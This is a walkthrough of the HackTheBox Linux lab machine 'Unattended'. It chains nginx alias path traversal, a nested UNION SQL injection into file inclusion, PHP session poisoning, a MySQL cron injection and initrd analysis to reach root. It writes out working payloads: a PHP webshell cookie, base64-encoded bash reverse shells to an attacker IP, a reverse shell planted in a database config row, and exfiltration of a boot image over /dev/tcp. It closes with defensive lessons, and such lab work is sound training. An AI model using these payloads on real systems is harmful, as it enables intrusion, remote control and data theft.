HTB: Unattended Writeup

Unattended - HackTheBox Writeup

Machine Information

AttributeDetails
NameUnattended
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.43.159
Authorguly

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Unattended is a medium difficulty Linux machine that demonstrates the devastating impact of subtle web server misconfigurations combined with poor input validation. The attack path begins with an nginx alias path traversal vulnerability that exposes PHP source code, revealing database credentials. A carefully crafted nested SQL injection allows Local File Inclusion (LFI), which is then leveraged into Remote Code Execution via PHP session file poisoning. Lateral movement to the user guly is achieved by exploiting a MySQL-based cronjob configuration. Finally, root access is obtained by extracting and analyzing the kernel initrd image accessible via the grub group, revealing a custom password derivation binary that generates the root password based on the system’s hostname.

TL;DR: nginx alias path traversal → PHP source disclosure → nested UNION SQLi → LFI → PHP session poisoning → RCE (www-data) → MySQL cron injection → lateral movement (guly) → grub group kernel image extraction → custom binary analysis → root password derivation → root shell.


Reconnaissance

Port Scanning

Terminal window
# Initial port scan
nmap -sC -sV -T4 -p- 10.129.43.159

Results:

The scan revealed two open ports:

  • 80/tcp - nginx HTTP server
  • 443/tcp - nginx HTTPS server

Service Enumeration

SSL Certificate Analysis

The SSL certificate on port 443 revealed a virtual host name: www.nestedflanders.htb. This vhost was added to the local hosts file for further enumeration.

Terminal window
# Add vhost to hosts file
echo "10.129.43.159 www.nestedflanders.htb" >> /etc/hosts

Web Service Investigation

Browsing directly to the IP address on both HTTP and HTTPS showed minimal content (a single dot). However, accessing https://www.nestedflanders.htb/ revealed an Apache default page, indicating the presence of a virtual host configuration.

Directory Enumeration

Terminal window
# Directory bruteforcing
gobuster dir -w /usr/share/wordlists/dirb/common.txt \
-u https://www.nestedflanders.htb/ -k

The scan discovered:

  • /index.php - A functional web application
  • /dev - A directory with a message stating “dev site has been moved”

Vulnerability Assessment

  1. Nginx alias misconfiguration - The /dev endpoint appeared vulnerable to path traversal due to improper alias configuration
  2. Potential SQL injection - The application used a GET parameter id suggesting database queries
  3. Firewall restrictions - Outbound connections limited to ports 80 and 443 only

Initial Foothold

Nginx Alias Path Traversal

Nginx alias directives without trailing slashes are vulnerable to path traversal. Testing the /dev endpoint:

Terminal window
# Path traversal attempt
curl -k https://www.nestedflanders.htb/dev../html/index.php

This vulnerability allowed reading the raw PHP source code instead of executing it, bypassing the interpreter entirely.

Why this works: When nginx processes location /dev { alias /var/www/html/dev } without a trailing slash, it concatenates the requested path directly. Requesting /dev../html/index.php becomes /var/www/html/dev../html/index.php, which resolves to /var/www/html/html/index.php or similar, and critically, the file is served as static content rather than being passed to the PHP-FPM handler.

Source Code Analysis

The downloaded index.php revealed:

// Database credentials
$servername = "localhost";
$username = "nestedflanders";
$password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e";
$db = "neddy";
// Two-stage query execution
function getTplFromID($conn) {
$valid_ids = array(25, 465, 587);
if ((array_key_exists('id', $_GET)) && (intval($_GET['id']) == $_GET['id'])
&& (in_array(intval($_GET['id']), $valid_ids))) {
$sql = "SELECT name FROM idname where id = '".$_GET['id']."'";
} else {
$sql = "SELECT name FROM idname where id = '25'";
}
// Execute and return template name
}
function getPathFromTpl($conn, $tpl) {
$sql = "SELECT path from filepath where name = '".$tpl."'";
// Execute and return file path
}

Critical vulnerability: No input sanitization exists on the $_GET['id'] parameter used in SQL queries, and the two-stage query design allows nested SQL injection.

Nested UNION SQL Injection

The application executes two queries in sequence:

  1. Query 1: SELECT name FROM idname WHERE id = '$id'
  2. Query 2: SELECT path FROM filepath WHERE name = '$result_from_query1'

By injecting a UNION statement into the first query that returns a crafted string, we control the input to the second query:

-- Payload structure
25' union select "main' union select '/etc/passwd' LIMIT 1,1;-- -" LIMIT 1,1;-- -

How this works:

First query becomes:

SELECT name FROM idname WHERE id = '25'
UNION SELECT "main' union select '/etc/passwd' LIMIT 1,1;-- -" LIMIT 1,1;-- -'

This returns the string main' union select '/etc/passwd' LIMIT 1,1;-- -

Second query becomes:

SELECT path FROM filepath WHERE name = 'main'
UNION SELECT '/etc/passwd' LIMIT 1,1;-- -'

This returns /etc/passwd, which is then passed to PHP’s include(), achieving Local File Inclusion.

Testing the payload:

Terminal window
# URL-encoded nested UNION SQLi for LFI
curl -k "https://www.nestedflanders.htb/index.php?id=25%27%20union%20select%20%22main%27%20union%20select%20%27/etc/passwd%27%20LIMIT%201,1;--%20-%22%20LIMIT%201,1;--%20-"

The response contained the contents of /etc/passwd, confirming arbitrary file read capability.

From LFI to RCE: PHP Session Poisoning

PHP session files are stored on disk and contain serialized user data. By controlling cookie values, we can inject PHP code into the session file, then use LFI to include and execute it.

Attack steps:

  1. Create a session with malicious PHP code:
Terminal window
# Set a custom cookie with PHP payload
curl -k "https://www.nestedflanders.htb/index.php" \
-H "Cookie: PHPSESSID=exploit123; PWN=<?php system(\$_GET['cmd']); ?>"
  1. Include the session file via nested SQLi:

Session files are stored at /var/lib/php/sessions/sess_<PHPSESSID>. The LFI payload becomes:

Terminal window
# Include session file and execute command
curl -k "https://www.nestedflanders.htb/index.php?id=25%27%20union%20select%20%22main%27%20union%20select%20%27/var/lib/php/sessions/sess_exploit123%27%20LIMIT%201,1;--%20-%22%20LIMIT%201,1;--%20-&cmd=id"

Note on firewall restrictions: The agent’s solve notes indicate that outbound connections were limited to ports 80 and 443 only, discovered via reading /etc/iptables/rules.v4 through the LFI.

  1. Reverse shell payload:
Terminal window
# Base64 encode to avoid special characters
echo -n 'bash -i >& /dev/tcp/10.10.15.180/443 0>&1' | base64
# YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xODAvNDQzIDA+JjE=
# Set cookie with reverse shell
curl -k "https://www.nestedflanders.htb/index.php" \
-H "Cookie: PHPSESSID=exploit123; PWN=<?php system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xODAvNDQzIDA+JjE= | base64 -d | bash'); ?>"
  1. Trigger execution:
Terminal window
# Start listener on allowed port
nc -lvnp 443
# Trigger the reverse shell
curl -k "https://www.nestedflanders.htb/index.php?id=25%27%20union%20select%20%22main%27%20union%20select%20%27/var/lib/php/sessions/sess_exploit123%27%20LIMIT%201,1;--%20-%22%20LIMIT%201,1;--%20-"

Shell received as www-data.


Privilege Escalation

Lateral Movement: www-data → guly

Database Enumeration

Using the credentials extracted from the PHP source:

Terminal window
# Connect to MySQL
mysql -u nestedflanders -p1036913cf7d38d4ea4f79b050f171e9fbf3f5e -D neddy
# List tables
mysql> SHOW TABLES;
# config, filepath, idname
# Examine config table
mysql> SELECT * FROM config;

The config table contained various application settings, including a row with option_name = 'checkrelease' and a path value. This suggested a cronjob might be reading configuration from the database.

MySQL Cronjob Injection

By updating the checkrelease configuration value to a reverse shell command, we can achieve code execution as whichever user runs the cron:

-- Inject reverse shell into config
UPDATE config
SET option_value = 'bash -c "bash -i >& /dev/tcp/10.10.15.180/80 0>&1"'
WHERE option_name = 'checkrelease';
Terminal window
# Start listener on port 80 (allowed outbound)
nc -lvnp 80

After a short wait, a shell was received as user guly.

Terminal window
# Stabilize shell
guly@unattended:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
# Capture user flag
guly@unattended:~$ cat user.txt
<redacted>

Privilege Escalation: guly → root

Group Membership Analysis

Terminal window
# Check user groups
guly@unattended:~$ id
uid=1000(guly) gid=1000(guly) groups=1000(guly),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth),115(lpadmin),116(scanner),1001(grub)

The grub group is unusual and not standard on Debian systems. GRUB (Grand Unified Bootloader) manages boot configuration and kernel images.

Finding grub Group Files

/boot/initrd.img-4.9.0-8-amd64
# Find files owned by grub group
guly@unattended:~$ find / -group grub -ls 2>/dev/null

The kernel initrd (initial ramdisk) image is readable by the grub group. This file contains the early userspace environment loaded before the main filesystem.

Extracting the initrd Image

Terminal window
# Transfer the initrd to attacker machine
# On target (guly's shell)
guly@unattended:~$ cat /boot/initrd.img-4.9.0-8-amd64 > /dev/tcp/10.10.15.180/8000
# On attacker machine
nc -lvnp 8000 > initrd.img-4.9.0-8-amd64
# Extract the compressed cpio archive
mkdir initrd_extracted
cd initrd_extracted
zcat ../initrd.img-4.9.0-8-amd64 | cpio -idmv

Why this matters: The initrd contains boot-time scripts, including those that handle encrypted filesystem unlocking (LUKS). If the root password is used for disk encryption, traces might exist in these scripts.

Analyzing Boot Scripts

Terminal window
# Search for password references
grep -R -i "password" . 2>/dev/null | grep -v Binary
# Result shows:
# ./scripts/local-top/cryptroot:300: # guly: we have to deal with luks password sync when root changes her one

Examining line 300 of scripts/local-top/cryptroot:

Terminal window
# Extract relevant section
sed -n '295,310p' scripts/local-top/cryptroot

The script revealed:

Terminal window
# Line ~302 (based on reference document structure)
/sbin/uinitrd c0m3s3f0ss34nt4n1 | $cryptopen

Analysis: The uinitrd binary generates a password using the argument c0m3s3f0ss34nt4n1, which is then passed to cryptsetup to unlock the encrypted root filesystem. The comment explicitly states this is the root password.

Understanding the uinitrd Binary

The binary must be executed on the target system because it reads system-specific information:

Terminal window
# Transfer uinitrd binary from extracted initrd to target
# On attacker (from initrd_extracted directory)
nc -lvnp 9000 < sbin/uinitrd
# On target (guly's shell, but /dev/shm is noexec, copy elsewhere)
cd /tmp
cat < /dev/tcp/10.10.15.180/9000 > uinitrd
chmod +x uinitrd
# Execute the binary with the magic string
guly@unattended:/tmp$ ./uinitrd c0m3s3f0ss34nt4n1
132f93ab100671dcb263acaf5dc95d8260e8b7c6

Why this works: The binary reads /etc/hostname and uses it as a salt or seed to derive the password. Running it on-box ensures the correct hostname is used, generating the actual root password for this specific system.

Root Access

Terminal window
# Switch user to root
guly@unattended:/tmp$ su root
Password: 132f93ab100671dcb263acaf5dc95d8260e8b7c6
root@unattended:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
# Capture root flag
root@unattended:~# cat /root/root.txt
<redacted>

Attack Chain Summary

nginx alias path traversal (read index.php source)
→ Database credentials (nestedflanders:1036913cf7d38d4ea4f79b050f171e9fbf3f5e)
→ Nested UNION SQL injection (id parameter)
→ LFI (arbitrary file read)
→ PHP session poisoning (inject code via PWN cookie)
→ RCE (include session file via LFI)
→ www-data shell (reverse shell on port 443)
→ MySQL config table modification (checkrelease cron injection)
→ guly shell (reverse shell on port 80)
→ user.txt
→ grub group membership analysis
→ initrd image extraction (/boot/initrd.img-4.9.0-8-amd64)
→ uinitrd binary discovery (cryptroot script)
→ Root password derivation (132f93ab100671dcb263acaf5dc95d8260e8b7c6)
→ root shell
→ root.txt

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
gobusterWeb directory and file discovery
curlHTTP request crafting and testing
mysqlDatabase access and manipulation
nc (netcat)Reverse shell listener and file transfer
cpioExtracting initrd archive
zcatDecompressing gzip-compressed initrd
grepSearching for strings in extracted files
base64Encoding reverse shell payloads

Key Learnings

Techniques Practiced

  • Nginx alias path traversal exploitation - Identifying and abusing misconfigured alias directives without trailing slashes
  • PHP source code disclosure - Leveraging path traversal to read unexecuted PHP files
  • Nested SQL injection - Chaining UNION statements across multiple query stages to control execution flow
  • LFI to RCE escalation - Using PHP session file poisoning as an LFI-to-RCE vector
  • Firewall evasion - Adapting reverse shell ports to match allowed outbound rules (80/443 only)
  • Database-driven privilege escalation - Exploiting MySQL configuration tables read by cronjobs
  • Linux group permission analysis - Identifying non-standard groups (grub) and their security implications
  • Initrd forensics - Extracting and analyzing kernel initrd images for sensitive information
  • Custom binary reverse engineering - Understanding password derivation logic through dynamic analysis

Lessons Learned

  1. Nginx alias misconfigurations are critical vulnerabilities - Always append trailing slashes to alias directives to prevent path traversal: location /dev/ { alias /var/www/html/dev/; }. The absence of these slashes allows attackers to escape the intended directory and read arbitrary files, including sensitive source code.

  2. Nested SQL injection can bypass seemingly safe input validation - Even when direct user input is validated (like checking if id is in a whitelist), the result of the first query can be malicious if used in a second query without sanitization. Defense requires prepared statements at every query stage.

  3. PHP session files are powerful RCE vectors - When LFI exists, any user-controlled data written to disk becomes a potential execution path. Session files (/var/lib/php/sessions/sess_*) are predictable and controllable via cookies. Mitigation: use session.upload_progress.cleanup = On and minimize user-controlled session data.

  4. Firewall rules should be comprehensive - Allowing outbound connections on ports 80/443 (even if seemingly necessary for updates) provides ample opportunity for attackers to establish command and control. Consider application-level proxies or explicit allowlists instead.

  5. Database-driven configuration is dangerous without access control - Applications that read executable commands or paths from databases must restrict write access. The www-data user should never have UPDATE permissions on configuration tables read by privileged cronjobs.

  6. Non-standard group memberships warrant investigation - The grub group provided read access to kernel images, which contained password derivation logic. Security-critical groups should be audited regularly, and boot files should be protected even from administrative users when possible.

  7. Sensitive logic should not reside in boot artifacts - The uinitrd binary embedded root password generation logic in a world-readable (to grub group) location. Use hardware security modules (HSMs) or Trusted Platform Modules (TPMs) for cryptographic key derivation instead of custom binaries in accessible filesystems.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup’s explanatory depth and conceptual framework reference the official HackTheBox writeup for Unattended (Document No D19.100.34, prepared by MinatoTW, 30th May 2019), while all technical specifics, commands, outputs, and IP addresses reflect the live solve against target 10.129.43.159.